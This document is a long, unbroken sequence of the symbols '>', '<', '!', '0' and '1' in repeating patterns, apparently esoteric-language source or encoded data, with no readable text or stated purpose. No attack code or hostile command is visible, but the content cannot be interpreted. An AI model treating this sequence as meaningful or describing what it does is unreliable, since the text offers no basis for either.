>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!10110>1!1!1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1>0>10110>10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0><>1>0><>1!1>0>10110>1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1!10110>1!1!1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!10110>10110>10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!<>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!<>1!1!1>0>1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!10110>10110>1!10110>1!1>0>1!1!10110>10110>10110>1!1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!<>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>01010111>01!1!1!1>0>10110>1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0><><>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>10110>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1>01010111>01!10110>10110>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!10110>10110>1!<>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>10110>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!10110>1!1>0>1!1!1>0>1>0><>1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!10110>1!10110>1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0><>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!<>1!1!<>1!<1010111>01!1>0>1!<>1!1>01010111>01!<1010111>01!1!1!1!1>0>1>0>1!1!1!1!<>101101010111>01!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!<1010111>01!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>10110><>1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1>0>1!1>0>1!<>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>01010111>01>0><>1>0><>1>0><>1>0><>1>0><>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>10110>1!<>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>10110>1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!10110>1!10110>1!10110>1!10110>1!10110>1!101101010111>01!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>1!1>0>1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1!1>0>1!<>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1!1!<>1!1>0>1!<>1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1>0>1!<><>1!1!<><>1>0>1!1!1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0><1010111>01!1!1!1!1>0>1>0><>1>0>1!1>0>1!1>0>1>0><1010111>01!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!101101010111>10111>10111>01!1>0>1>0>10110>1!1>0>1!1!1!1>0>1>01010111>0<>1!1>0>1>01010111>01>0>1!1>0>1!1>0>10110>1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>01010111>01!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!<>1!1!10110>10110>10110>1!1>0>1!1!1>0>1>0>1!<>1!10110>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>10110>1!1!10110>1!1>0>10110>1!1!1!1!1!1!1!10110>1!1>0>1>0>1!<>1!1!1!1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>101101010111>01>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1>01010111>01!1!1!1!1>0>1!1!1!1!1!1!1!<>1!1>01010111>01!1!<>1!1!<1010111>01>0><>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0><>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1>0>1!1!1!<>10110>1!1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>10110>1!1>0>1>0><>1!1>0>1!1!1>0>1>0>1!<>1!1!1>0>10110>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!10110>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0><>1!1!1!10110>1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!10110>1!1>01010111>01>0>1!1!10110>1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!<>1>0>1!1!1!<>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!10110>1!1>0><>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1!1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1!10110>10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!10110>1!1>0>1!1>01010111>01!1!1!1!1!<>1>0>1!<>1>0>1!1!1>0>1>0>1!1!1!<>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!<>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0><>1!1>0>1>01010111>01!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!10110>10110>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!<>10110>1!1>0>1!1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>01010111>01!10110>1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!<>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1>01010111>01!1!1!1>0>1>0>10110><>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!10110>1!1!10110>1!10110>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!<>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>10110>10110>1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>10110>1!1!1!1!1>0>1>0>10110>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>10110>1!1>01010111>01!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!<>1>0>1!<>1>0>1!1!1!1>0>1!1!<>1>0>1!1!1!1!1>0>10110>1!1>0>10110>1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!10110>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>10110>1!10110><>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!10110>1!1!1!10110>1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!<>1>0>1!<>1>0>10110>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>10110>10110>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>01010111>01!1>0>1!1>0>101101010111>01>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1>0><1010111>01!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!10110>1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>